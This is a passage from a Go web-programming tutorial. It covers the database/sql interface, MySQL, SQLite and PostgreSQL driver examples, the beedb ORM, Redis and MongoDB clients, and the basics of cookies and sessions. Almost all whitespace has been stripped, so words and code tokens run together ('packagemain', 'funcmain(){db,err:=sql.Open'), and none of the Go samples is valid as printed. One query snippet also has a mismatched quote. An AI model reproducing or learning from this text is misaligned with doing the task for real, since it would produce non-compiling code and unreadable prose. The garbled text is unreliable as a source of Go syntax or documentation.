Convertsdriver.Valuetoacorrespondingdatabasefieldtype,forexampleconvertsint64touint16.Convertsdatabasequeryresultstodriver.Value.Convertsdriver.Valuetoauserdefinedvalueinthescanfunction.

driver.Valuer

Thisdefinesaninterfaceforreturningdriver.Value.

typeValuerinterface{Value()(Value,error)}

Manytypesimplementthisinterfaceforconversionbetweendriver.Valueanditself.

Atthispoint,youshouldknowabitaboutdeveloppingdatabasedriversinGo.Onceyoucanimplementinterfacesforoperationslikeadd,delete,update,etc.,thereareonlyafewproblemsleftrelatedtocommunicatingwithspecificdatabases.

database/sql

databse/sqldefinesevenmorehigh-levelmethodsontopof

database/sql/driverformoreconvenientdatabaseoperations,anditsuggeststhatyouimplementaconnectionpool.

typeDBstruct{driverdriver.Driverdsnstringmusync.Mutex//protectsfreeConnandclosedfreeConn[]driver.Connclosedbool}

Asyoucansee,theOpenfunctionreturnsaDBthathasafreeConn,andthisisasimpleconnectionpool.Itsimplementationisverysimpleandugly.Itusesdeferdb.putConn(ci,err)intheDb.preparefunctiontoputaconnectionintotheconnectionpool.EverytimeyoucalltheConnfunction,itchecksthelengthoffreeCoon.Ifit'sgreaterthan0,thatmeansthereisareusableconnectionanditdirectlyreturnstoyou.Otherwiseitcreatesanewconnectionandreturns.

Links

DirectoryPrevioussection:DatabaseNextsection:MySQL

5.2MySQLTheLAMPstackhasbeenverypopularontheinternetinrecentyears,andtheMinLAMPstandforMySQL.MySQLisfamousbecauseit'sopensourceandeasytouse.Assuch,itbecamethedefactodatabaseintheback-endsofmanywebsites.

MySQLdrivers

ThereareacoupleofdriversthatsupportMySQLinGo.Someofthemimplementthedatabase/sqlinterface,andothersusetheirowninterfacestandards.

https://github.com/go-sql-driver/mysqlsupportsdatabase/sql,writteninpureGo.https://github.com/ziutek/mymysqlsupportsdatabase/sqlanduserdefinedinterfaces,writteninpureGo.https://github.com/Philio/GoMySQLonlysupportsuserdefinedinterfaces,writteninpureGo.

I'llusethefirstdriverinthefollowingexamples(Iusethisoneinmypersonalprojectstoo),andIalsorecommendthatyouuseitforthefollowingreasons:

It'sanewdatabasedriverandsupportsmorefeatures.Fullysupportsdatabse/sqlinterfacestandards.Supportskeepalive,longconnectionswiththread-safety.

Samples

Inthefollowingsections,I'llusethesamedatabasetablestructurefordifferentdatabases,thencreateSQLasfollows:

CREATETABLE`userinfo`(`uid`INT(10)NOTNULLAUTO_INCREMENT,`username`VARCHAR(64)NULLDEFAULTNULL,`departname`VARCHAR(64)NULLDEFAULTNULL,`created`DATENULLDEFAULTNULL,PRIMARYKEY(`uid`));

Thefollowingexampleshowshowtooperateonadatabasebasedonthedatabase/sqlinterfacestandards.

packagemain

import(_"github.com/go-sql-driver/mysql""database/sql""fmt")

funcmain(){db,err:=sql.Open("mysql","astaxie:astaxie@/test?charset=utf8")checkErr(err)

//insertstmt,err:=db.Prepare("INSERTuserinfoSETusername=?,departname=?,created=?")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

id,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)//updatestmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)

res,err=stmt.Exec("astaxieupdate",id)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//queryrows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestring

vardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//deletestmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)

res,err=stmt.Exec(id)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

Letmeexplainafewoftheimportantfunctionshere:

sql.Open()opensaregistereddatabasedriver.TheGo-MySQL-Driverregisteredthemysqldriverhere.ThesecondargumentistheDSN(DataSourceName)thatdefinesinformationpertainingtothedatabaseconnection.Itsupportsfollowingformats:

user@unix(/path/to/socket)/dbname?charset=utf8user:password@tcp(localhost:5555)/dbname?charset=utf8user:password@/dbname

user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname

db.Prepare()returnsaSQLoperationthatisgoingtobeexecuted.ItalsoreturnstheexecutionstatusafterexecutingSQL.

db.Query()executesSQLandreturnsaRowsresult.stmt.Exec()executesSQLthathasbeenpreparedandstoredinStmt.

Notethatweusetheformat=?topassarguments.ThisisnecessaryforpreventingSQLinjectionattacks.

Links

DirectoryPrevioussection:database/sqlinterfaceNextsection:SQLite

5.3SQLiteSQLiteisanopensource,embeddedrelationaldatabase.Ithasaself-contained,zero-configurationandtransaction-supporteddatabaseengine.Itscharacteristicsarehighlyportable,easytouse,compact,efficientandreliable.Inmostofcases,youonlyneedabinaryfileofSQLitetocreate,connectandoperateadatabase.Ifyouarelookingforanembeddeddatabasesolution,SQLiteisworthconsidering.YoucansaySQLiteistheopensourceversionofAccess.

SQLitedrivers

TherearemanydatabasedriversforSQLiteinGo,butmanyofthemdonotsupportthedatabase/sqlinterfacestandards.

https://github.com/mattn/go-sqlite3supportsdatabase/sql,basedon

cgo.https://github.com/feyeleanor/gosqlite3doesn'tsupportdatabase/sql,basedoncgo.https://github.com/phf/go-sqlite3doesn'tsupportdatabase/sql,basedoncgo.

Thefirstdriveristheonlyonethatsupportsthedatabase/sqlinterfacestandardinitsSQLitedriver,soIusethisinmyprojects-itwillmakeiteasytomigratemycodeinthefutureifIneedto.

Samples

WecreatethefollowingSQL:

CREATETABLE`userinfo`(`uid`INTEGERPRIMARYKEYAUTOINCREMENT,`username`VARCHAR(64)NULL,`departname`VARCHAR(64)NULL,`created`DATENULL);

Anexample:

packagemain

import("database/sql""fmt""time"_"github.com/mattn/go-sqlite3")

funcmain(){db,err:=sql.Open("sqlite3","./foo.db")checkErr(err)

//insertstmt,err:=db.Prepare("INSERTINTOuserinfo(username,departn

ame,created)values(?,?,?)")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

id,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)//updatestmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)

res,err=stmt.Exec("astaxieupdate",id)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//queryrows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//deletestmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)

res,err=stmt.Exec(id)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

Youmayhavenoticedthatthecodeisalmostthesameasintheprevioussection,andthatweonlychangedthenameoftheregistereddriverandcalledsql.OpentoconnecttoSQLiteinadifferentway.

Asafinalnoteonthissecton,thereisausefulSQLitemanagementtoolavailable:http://sqliteadmin.orbmu2k.de/

Links

DirectoryPrevioussection:MySQLNextsection:PostgreSQL

5.4PostgreSQLPostgreSQLisanobject-relationaldatabasemanagementsystemavailableformanyplatformsincludingLinux,FreeBSD,Solaris,MicrosoftWindowsandMacOSX.ItisreleasedunderanMIT-stylelicense,andisthusfreeandopensourcesoftware.It'slargerthanMySQLbecauseit'sdesignedforenterpriseusagelikeOracle.Postgresqlisgoodchoiceforenterprisetypeprojects.

PostgreSQLdrivers

TherearemanydatabasedriversavailableforPostgreSQL.Herearethreeexamplesofthem:

https://github.com/bmizerany/pqsupportsdatabase/sql,writteninpureGo.https://github.com/jbarham/gopgsqldriversupportsdatabase/sql,writteninpureGo.https://github.com/lxn/go-pgsqlsupportsdatabase/sql,writteninpureGo.

I'llusethefirstoneinmyfollowingexamples.

Samples

WecreatethefollowingSQL:

CREATETABLEuserinfo(uidserialNOTNULL,usernamecharactervarying(100)NOTNULL,departnamecharactervarying(500)NOTNULL,Createddate,CONSTRAINTuserinfo_pkeyPRIMARYKEY(uid))WITH(OIDS=FALSE);

Anexample:

packagemain

import("database/sql""fmt"_"github.com/lib/pq"

"time")

const(DB_USER="postgres"DB_PASSWORD="postgres"DB_NAME="test")

funcmain(){dbinfo:=fmt.Sprintf("user=%spassword=%sdbname=%ssslmode=disable",DB_USER,DB_PASSWORD,DB_NAME)db,err:=sql.Open("postgres",dbinfo)checkErr(err)deferdb.Close()

fmt.Println("#Insertingvalues")

varlastInsertIdinterr=db.QueryRow("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)returninguid;","astaxie","" ,"2012-12-09").Scan(&lastInsertId)checkErr(err)fmt.Println("lastinsertedid=",lastInsertId)

fmt.Println("#Updating")stmt,err:=db.Prepare("updateuserinfosetusername=$1whereuid=$2")checkErr(err)

res,err:=stmt.Exec("astaxieupdate",lastInsertId)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect,"rowschanged")

fmt.Println("#Querying")rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestring

vardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println("uid|username|department|created")fmt.Printf("%3v|%8v|%6v|%6v\n",uid,username,department,created)}

fmt.Println("#Deleting")stmt,err=db.Prepare("deletefromuserinfowhereuid=$1")checkErr(err)

res,err=stmt.Exec(lastInsertId)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect,"rowschanged")}

funccheckErr(errerror){iferr!=nil{panic(err)}}

NotethatPostgreSQLusesthe$1,$2formatinsteadofthe?thatMySQLuses,andithasadifferentDSNformatinsql.Open.AnotherthingisthatthePostgresdriverdoesnotsupportsql.Result.LastInsertId().Soinsteadofthis,

stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3);")res,err:=stmt.Exec("astaxie","" ,"2012-12-09")fmt.Println(res.LastInsertId())

usedb.QueryRow()and.Scan()togetthevalueforthelastinsertedid.

err=db.QueryRow("INSERTINTOTABLE_NAMEvalues($1)returninguid;",VALUE1").Scan(&lastInsertId)fmt.Println(lastInsertId)

Links

DirectoryPrevioussection:SQLiteNextsection:DevelopORMbasedonbeedb

5.5DevelopORMbasedonbeedb(Projectbeedbisnolongermaintained,butthecodesstillthere)

beedbisanORM(object-relationalmapper)developedinGo,byme.ItusesidiomaticGotooperateondatabases,implementingstructtodatabasemappingandactsasalightweightGoORMframework.ThepurposeofdevelopingthisORMisnotonlytohelppeoplelearnhowtowriteanORM,butalsotofindagoodbalancebetweenfunctionalityandperformancewhenitcomestodatapersistence.

beedbisanopensourceprojectthatsupportsbasicORMfunctionality,butdoesn'tsupportassociationqueries.

Becausebeedbsupportsdatabase/sqlinterfacestandards,anydriverthatimplementsthisinterfacecanbeusedwithbeedb.I'vetestedthefollowingdrivers:

Mysql:github.com/ziutek/mymysql/godrv

Mysql:code.google.com/p/go-mysql-driver

PostgreSQL:github.com/bmizerany/pq

SQLite:github.com/mattn/go-sqlite3

MSADODB:github.com/mattn/go-adodb

ODBC:bitbucket.org/miquella/mgodbc

Installation

Youcanusegogettoinstallbeedblocally.

gogetgithub.com/astaxie/beedb

Initialization

First,youhavetoimportallthenecessarypackages:

import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv")

Thenyouneedtoopenadatabaseconnectionandcreateabeedbobject(MySQLinthisexample):

db,err:=sql.Open("mymysql","test/xiemengjun/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)

beedb.New()actuallyhastwoarguments.Thefirstisthethedatabaseobject,andthesecondisforindicatingwhichdatabaseengineyou'reusing.

Ifyou'reusingMySQL/SQLite,youcanjustskipthesecondargument.

Otherwise,thisargumentmustbesupplied.Forinstance,inthecaseofSQLServer:

orm=beedb.New(db,"mssql")

PostgreSQL:

orm=beedb.New(db,"pg")

beedbsupportsdebugging.Usethefollowingcodetoenableit:

beedb.OnDebug=true

Next,wehaveastructfortheUserinfodatabasetablethatweusedinprevioussections.

typeUserinfostruct{Uidint`PK`//iftheprimarykeyisnotid,youneedtoaddtag`PK`foryourcustomizedprimarykey.UsernamestringDepartnamestringCreatedtime.Time}

Beawarethatbeedbauto-convertscamelcasenamestolowersnakecase.Forexample,ifwehaveUserInfoasthestructname,beedbwillconvertittouser_infointhedatabase.Thesameruleappliestostructfieldnames.Camel

Insertdata

Thefollowingexampleshowsyouhowtousebeedbtosaveastruct,insteadofusingrawSQLcommands.WeusethebeedbSavemethodtoapplythechange.

varsaveoneUserinfosaveone.Username="TestAddUser"saveone.Departname="TestAddDepartname"saveone.Created=time.Now()orm.Save(&saveone)

Youcanchecksaveone.Uidaftertherecordisinserted;itsvalueisaself-incrementedID,whichtheSavemethodtakescareofforyou.

beedbprovidesanotherwayofinsertingdata;thisisviaGo'smaptype.

add:=make(map[string]interface{})add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"orm.SetTable("userinfo").Insert(add)

Insertmultipledata:

addslice:=make([]map[string]interface{},10)add:=make(map[string]interface{})add2:=make(map[string]interface{})add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"add2["username"]="astaxie2"add2["departname"]="clouddevelop2"add2["created"]="2012-12-02"addslice=append(addslice,add,add2)orm.SetTable("userinfo").InsertBatch(addslice)

Themethodshownaboveissimilartoachainedquery,whichyoushouldbefamiliarwithifyou'veeverusedjquery.ItreturnstheoriginalORMobject

aftercalls,thencontinuesdoingotherjobs.

ThemethodSetTabletellstheORMwewanttoinsertourdataintotheuserinfotable.

Updatedata

Let'scontinueworkingwiththeaboveexampletoseehowtoupdatedata.Nowthatwehavetheprimarykeyofsaveone(Uid),beedbexecutesanupdateoperationinsteadofinsertinganewrecord.

saveone.Username="UpdateUsername"saveone.Departname="UpdateDepartname"saveone.Created=time.Now()orm.Save(&saveone)//update

Likebefore,youcanusemapforupdatingdataalso:

t:=make(map[string]interface{})t["username"]="astaxie"orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)

Letmeexplainsomeofthemethodsusedabove:

.SetPK()tellstheORMthatuidistheprimarykeyrecordsintheuserinfotable..Where()setsconditionsandsupportsmultiplearguments.Ifthefirstargumentisaninteger,it'sashortformforWhere("<primarykey>=?",<value>)..Update()methodacceptsamapandupdatesthedatabase.

Querydata

Thebeedbqueryinterfaceisveryflexible.Let'sseesomeexamples:

Example1,querybyprimarykey:

varuserUserinfo//Whereacceptstwoarguments,supportsintegersorm.Where("uid=?",27).Find(&user)

Example2:

varuser2Userinfoorm.Where(3).Find(&user2)//shortformthatomitsprimarykey

Example3,otherqueryconditions:

varuser3Userinfo//Whereacceptstwoarguments,supportschartype.orm.Where("name=?","john").Find(&user3)

Example4,morecomplexconditions:

varuser4Userinfo//Whereacceptsthreeargumentsorm.Where("name=?andage<?","john",88).Find(&user4)

Examplestogetmultiplerecords:

Example1,gets10recordswithid>3thatstartswithposition20:

varallusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10,20).FindAll(&allusers)

Example2,omitsthesecondargumentoflimit,soitstartswith0andgets10records:

vartenusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10).FindAll(&tenusers)

Example3,getsallrecords:

vareveryone[]Userinfoerr:=orm.OrderBy("uiddesc,usernameasc").FindAll(&everyone)

Asyoucansee,theLimitmethodisforlimitingthenumberofresults.

.Limit()supportstwoarguments:thenumberofresultsandthestartingposition.0isthedefaultvalueofthestartingposition..OrderBy()isfororderingresults.Theargumentistheordercondition.

Alltheexamplesherearesimplymappingrecordstostructs.Youcanalsojustputthedataintoamapasfollows:

a,_:=orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()

.Select()tellsbeedbhowmanyfieldsyouwanttogetfromthedatabasetable.Ifunspecified,allfieldsarereturnedbydefault..FindMap()returnsthe[]map[string][]bytetype,soyouneedtoconverttoothertypesyourself.

Deletedata

beedbprovidesrichmethodstodeletedata.

Example1,deleteasinglerecord:

//saveoneistheoneinaboveexample.orm.Delete(&saveone)

Example2,deletemultiplerecords:

//alluseristheslicewhichgetsmultiplerecords.orm.DeleteAll(&alluser)

Example3,deleterecordsbySQL:

orm.SetTable("userinfo").Where("uid>?",3).DeleteRow()

Associationqueries

beedbdoesn'tsupportjoiningbetweenstructs.However,sincesomeapplicationsneedthisfeature,hereisanimplementation:

a,_:=orm.SetTable("userinfo").Join("LEFT","userdetail","userinfo.uid=userdetail.uid").Where("userinfo.uid=?",1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap()

Weseeanewmethodcalled.Join()thathasthreearguments:

Thefirstargument:TypeofJoin;INNER,LEFT,OUTER,CROSS,etc.Thesecondargument:thetableyouwanttojoinwith.Thethirdargument:joincondition.

GroupByandHaving

beedbalsohasanimplementationofgroupbyandhaving.

a,_:=orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()

.GroupBy()indicatesthefieldthatisforgroupby..Having()indicatesconditionsofhaving.

Future

Ihavereceivedalotoffeedbackonbeedbfrommanypeopleallaroundworld,andI'mthinkingaboutreconfiguringthefollowingaspects:

Implementaninterfacedesignsimilartodatabase/sql/driverinordertofacilitateCRUDoperations.

Implementrelationaldatabaseassociationslikeonetoone,onetomanyandmanytomany.Here'sasample:

typeProfilestruct{NicknamestringMobilestring}typeUserinfostruct{UidintPK_UsernamestringDepartnamestringCreatedtime.TimeProfileHasOne}

Auto-createtablesandindexes.

Implementaconnectionpoolusinggoroutines.

Links

DirectoryPrevioussection:PostgreSQLNextsection:NoSQLdatabase

5.6NoSQLdatabaseANoSQLdatabaseprovidesamechanismforthestorageandretrievalofdatathatuseslooserconsistencymodelsthantypicalrelationaldatabasesinordertoachievehorizontalscalingandhigheravailability.Someauthorsrefertothemas"NotonlySQL"toemphasizethatsomeNoSQLsystemsdoallowSQL-likequerylanguagestobeused.

AstheClanguageofthe21stcentury,GohasgoodsupportforNoSQLdatabases,includingthepopularredis,mongoDB,CassandraandMembaseNoSQLdatabases.

redis

redisisakey-valuestoragesystemlikeMemcached,thatsupportsthestring,list,setandzset(orderedset)valuetypes.

TherearesomeGodatabasedriversforredis:

https://github.com/garyburd/redigohttps://github.com/go-redis/redishttps://github.com/hoisie/redishttps://github.com/alphazero/Go-Redishttps://github.com/simonz05/godis

Let'sseehowtousethedriverthatredigotooperateonadatabase:

packagemain

import("fmt""github.com/garyburd/redigo/redis""os""os/signal""syscall""time")

var(Pool*redis.Pool)

funcinit(){redisHost:=":6379"Pool=newPool(redisHost)close()}

funcnewPool(serverstring)*redis.Pool{

return&redis.Pool{

MaxIdle:3,IdleTimeout:240*time.Second,

Dial:func()(redis.Conn,error){c,err:=redis.Dial("tcp",server)iferr!=nil{returnnil,err}returnc,err},

TestOnBorrow:func(credis.Conn,ttime.Time)error{_,err:=c.Do("PING")returnerr},}}

funcclose(){c:=make(chanos.Signal,1)signal.Notify(c,os.Interrupt)signal.Notify(c,syscall.SIGTERM)signal.Notify(c,syscall.SIGKILL)

gofunc(){<-cPool.Close()os.Exit(0)}()}

funcGet(keystring)([]byte,error){

conn:=Pool.Get()deferconn.Close()

vardata[]bytedata,err:=redis.Bytes(conn.Do("GET",key))iferr!=nil{returndata,fmt.Errorf("errorgetkey%s:%v",key,err)}returndata,err}

funcmain(){test,err:=Get("test")fmt.Println(test,err)}

Iforkedthelastofthesepackages,fixedsomebugs,anduseditinmyshortURLservice(2millionPVeveryday).

https://github.com/astaxie/goredis

Let'sseehowtousethedriverthatIforkedtooperateonadatabase:

packagemain

import("github.com/astaxie/goredis""fmt")

funcmain(){varclientgoredis.Client

//SetthedefaultportinRedisclient.Addr="127.0.0.1:6379"

//stringmanipulationclient.Set("a",[]byte("hello"))val,_:=client.Get("a")fmt.Println(string(val))client.Del("a")

//listoperationvals:=[]string{"a","b","c","d","e"}for_,v:=rangevals{client.Rpush("l",[]byte(v))}dbvals,_:=client.Lrange("l",0,4)fori,v:=rangedbvals{println(i,":",string(v))}client.Del("l")}

Wecanseethatit'squiteeasytooperateredisinGo,andithashighperformance.Itsclientcommandsarealmostthesameasredis'built-incommands.

mongoDB

mongoDB(from"humongous")isanopensourcedocument-orienteddatabasesystemdevelopedandsupportedby10gen.ItispartoftheNoSQLfamilyofdatabasesystems.Insteadofstoringdataintablesasisdoneina"classical"relationaldatabase,MongoDBstoresstructureddataasJSON-likedocumentswithdynamicschemas(MongoDBcallstheformatBSON),makingtheintegrationofdataincertaintypesofapplicationseasierandfaster.

Figure5.1MongoDBcomparedtoMysql

ThebestdriverformongoDBiscalledmgo,anditispossiblethatitwillbeincludedinthestandardlibraryinthefuture.

Hereistheexample:

packagemain

import("fmt""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""log")

typePersonstruct{

NamestringPhonestring}

funcmain(){session,err:=mgo.Dial("server1.example.com,server2.example.com")iferr!=nil{panic(err)}defersession.Close()

//Optional.Switchthesessiontoamonotonicbehavior.session.SetMode(mgo.Monotonic,true)

c:=session.DB("test").C("people")err=c.Insert(&Person{"Ale","+555381169639"},&Person{"Cla","+555384028510"})iferr!=nil{log.Fatal(err)}

result:=Person{}err=c.Find(bson.M{"name":"Ale"}).One(&result)iferr!=nil{log.Fatal(err)}

fmt.Println("Phone:",result.Phone)}

Wecanseethattherearenobigdifferenceswhenitcomestooperatingonmgoorbeedbdatabases;theyarebothbasedonstructs.ThisistheGowayofdoingthings.

Links

DirectoryPrevioussection:DevelopORMbasedonbeedbNextsection:Summary

5.7SummaryInthischapter,youfirstlearnedaboutthedesignofthedatabase/sqlinterfaceandmanythird-partydatabasedriversforvariousdatabasetypes.ThenIintroducedbeedb,anORMforrelationaldatabases,toyou.Ialsoshowedyousomesampledatabaseoperations.Intheend,ItalkedaboutafewNoSQLdatabases.WesawthatGoprovidesverygoodsupportforthoseNoSQLdatabases.

Afterreadingthischapter,IhopethatyouhaveabetterunderstandingofhowtooperatedatabasesinGo.Thisisthemostimportantpartofwebdevelopment,soIwantyoutocompletelyunderstandthedesignconceptsofthedatabase/sqlinterface.

Links

DirectoryPrevioussection:NoSQLdatabaseNextsection:Datastorageandsession

6DatastorageandsessionsAnimportanttopicinwebdevelopmentisprovidingagooduserexperience,butthefactthatHTTPisastatelessprotocolseemscontrarytothisspirit.Howcanwecontrolthewholeprocessofviewingwebsitesforusers?Theclassicsolutionsareusingcookiesandsessions,wherecookiesserveastheclientsidemechanismandsessionsaresavedontheserversidewithauniqueidentifierforeverysingleuser.NotethatsessionscanbepassedinURLsorcookies,oreveninyourdatabase(whichismuchmoresecure,butmayhamperyourapplicationperformance).

Insection6.1,wearegoingtotalkaboutdifferencesbetweencookiesandsessions.Insection6.2,you'lllearnhowtousesessionsinGowithan

implementationofasessionmanager.Insection6.3,wewilltalkaboutsessionhijackingandhowtopreventitwhenyouknowthatsessionscanbesavedanywhere.Thesessionmanagerwewillimplementinsection6.3willsavesessionsinmemory,butifweneedtoexpandourapplicationtoallowforsessionsharing,it'salwaysbettertosavethesesessionsdirectlyintoourdatabase.We'lltalkmoreaboutthisinsection6.4.

Links

DirectoryPreviousChapter:Chapter5SummaryNextsection:Sessionandcookies

6.1Sessionandcookies

Sessionsandcookiesaretwoverycommonwebconcepts,andarealsoveryeasytomisunderstand.However,theyareextremelyimportantfortheauthorizationofpages,aswellasforgatheringpagestatistics.Let'stakealookatthesetwousecases.

Supposeyouwanttocrawlapagethatrestrictspublicaccess,likeatwitteruser'shomepageforinstance.Ofcourseyoucanopenyourbrowserandtypeinyourusernameandpasswordtologinandaccessthatinformation,butso-called"webcrawling"meansthatweuseaprogramtoautomatethisprocesswithoutanyhumanintervention.Therefore,wehavetofindoutwhatisreallygoingonbehindthesceneswhenweuseabrowsertologin.

Whenwefirstreceivealoginpageandtypeinausernameandpassword,afterwepressthe"login"button,thebrowsersendsaPOSTrequesttotheremoteserver.TheBrowserredirectstotheuserhomepageaftertheserververifiesthelogininformationandreturnsanHTTPresponse.Thequestionhereis,howdoestheserverknowthatwehaveaccesspriviledgesforthedesiredwebpage?BecauseHTTPisstateless,theserverhasnowayofknowingwhetherornotwepassedtheverificationinlaststep.Theeasiestandperhapsthemostnaivesolutionistoappendtheusernameand

passwordtotheURL.Thisworks,butputstoomuchpressureontheserver(theservermustvalidateeveryrequestagainstthedatabase),andcanbedetrimentaltotheuserexperience.Analternativewayofachievingthisgoalistosavetheuser'sidentityeitherontheserversideorclientsideusingcookiesandsessions.

Cookies,inshort,storehistoricalinformation(includinguserlogininformation)ontheclient'scomputer.Theclient'sbrowsersendsthesecookieseverytimetheuservisitsthesamewebsite,automaticallycompletingtheloginstepfortheuser.

Figure6.1cookieprinciple.

Sessions,ontheotherhand,storehistoricalinformationontheserverside.Theserverusesasessionidtoidentifydifferentsessions,andthesessionidthatisgeneratedbytheservershouldalwaysberandomandunique.YoucanusecookiesorURLargumentstogettheclient'sidentity.

Figure6.2sessionprinciple.

Cookies

Cookiesaremaintainedbybrowsers.Theycanbemodifiedduringcommunicationbetweenwebserversandbrowsers.Webapplicationscan

accesscookieinformationwhenusersvisitthecorrespondingwebsites.Withinmostbrowsersettings,thereisonesettingpertainingtocookieprivacy.Youshouldbeabletoseesomethingsimilartothefollowingwhenyouopenit.

Figure6.3cookieinbrowsers.

Cookieshaveanexpirytime,andtherearetwotypesofcookiesdistinguishedbytheirlifecyles:sessioncookiesandpersistentcookies.

Ifyourapplicationdoesn'tsetacookieexpirytime,thebrowserwillnotsaveitintothelocalfilesystemafterthebrowserisclosed.Thesecookiesarecalledsessioncookies,andthistypeofcookieisusuallysavedinmemoryinsteadoftothelocalfilesystem.

Ifyourapplicationdoessetanexpirytime(forexample,setMaxAge(606024)),thebrowserwillsavethiscookietothelocalfilesystem,anditwillnotbedeleteduntilreachingtheallottedexpirytime.Cookiesthataresavedtothelocalfilesystemcanbesharedbydifferentbrowserprocesses-forexample,bytwoIEwindows;differentbrowsersusedifferentprocessesfordealingwithcookiesthataresavedinmemory.

SetcookiesinGo

GousestheSetCookiefunctioninthenet/httppackagetosetcookies:

http.SetCookie(wResponseWriter,cookie*Cookie)

wistheresponseoftherequestandcookieisastruct.Let'sseewhatitlookslike:

typeCookiestruct{NamestringValuestringPathstringDomainstringExpirestime.TimeRawExpiresstring

//MaxAge=0meansno'Max-Age'attributespecified.//MaxAge<0meansdeletecookienow,equivalently'Max-Age:0'//MaxAge>0meansMax-AgeattributepresentandgiveninsecondsMaxAgeintSecureboolHttpOnlyboolRawstringUnparsed[]string//Rawtextofunparsedattribute-valuepairs}

Hereisanexampleofsettingacookie:

expiration:=time.Now().Add(365*24*time.Hour)cookie:=http.Cookie{Name:"username",Value:"astaxie",Expires:expiration}http.SetCookie(w,&cookie)

FetchcookiesinGo

Theaboveexampleshowshowtosetacookie.Nowlet'sseehowtogetacookiethathasbeenset:

cookie,_:=r.Cookie("username")fmt.Fprint(w,cookie)

Hereisanotherwaytogetacookie:

for_,cookie:=ranger.Cookies(){fmt.Fprint(w,cookie.Name)}

Asyoucansee,it'sveryconvenienttogetcookiesfromrequests.

Sessions

Asessionisaseriesofactionsormessages.Forexample,youcanthinkoftheactionsyoubetweenpickingupyourtelephonetohanginguptobeatypeofsession.Whenitcomestonetworkprotocols,sessionshavemoretodowithconnectionsbetweenbrowsersandservers.

Sessionshelptostoretheconnectionstatusbetweenserverandclient,andthiscansometimesbeintheformofadatastoragestruct.

Sessionsareaserversidemechanism,andusuallyemployhashtables(orsomethingsimilar)tosaveincominginformation.

Whenanapplicationneedstoassignanewsessiontoaclient,theservershouldcheckifthereareanyexistingsessionsforsameclientwithauniquesessionid.Ifthesessionidalreadyexists,theserverwilljustreturnthesamesessiontotheclient.Ontheotherhand,ifasessioniddoesn'texistfortheclient,theservercreatesabrandnewsession(thisusuallyhappenswhentheserverhasdeletedthecorrespondingsessionid,buttheuserhasappendedtheoldsessionmanually).

Thesessionitselfisnotcomplexbutitsimplementationanddeploymentare,soyoucannotuse"onewaytorulethemall".

Summary

Inconclusion,thepurposeofsessionsandcookiesarethesame.TheyarebothforovercomingthestatelessnessofHTTP,buttheyusedifferentways.Sessionsusecookiestosavesessionidsontheclientside,andsaveallotherinformationontheserverside.Cookiessaveallclientinformationontheclientside.Youmayhavenoticedthatcookieshavesomesecurityproblems.Forexample,usernamesandpasswordscanpotentiallybecrackedandcollectedbymaliciousthirdpartywebsites.

Herearetwocommonexploits:

1. appAsettinganunexpectedcookieforappB.2. XSSattack:appAusestheJavaScriptdocument.cookietoaccessthecookiesofappB.

Afterfinishingthissection,youshouldknowsomeofthebasicconceptsofcookiesandsessions.Youshouldbeabletounderstandthedifferencesbetweenthemsothatyouwon'tkillyourselfwhenbugsinevitablyemerge.We'lldiscusssessionsinmoredetailinthefollowingsections.

Links

DirectoryPrevioussection:DatastorageandsessionNextsection:HowtousesessioninGo

6.2HowtousesessionsinGoInsection6.1,welearnedthatsessionsareonesolutionforverifyingusers,andthatfornow,theGostandardlibrarydoesnothavebaked-insupportforsessionsorsessionhandling.So,we'regoingtoimplementourownversionofasessionmanagerinGo.

Creatingsessions

Thebasicprinciplebehindsessionsisthataservermaintainsinformationforeverysingleclient,andclientsrelyonuniquesessionidstoaccessthisinformation.Whenusersvisitthewebapplication,theserverwillcreateanewsessionwiththefollowingthreesteps,asneeded:

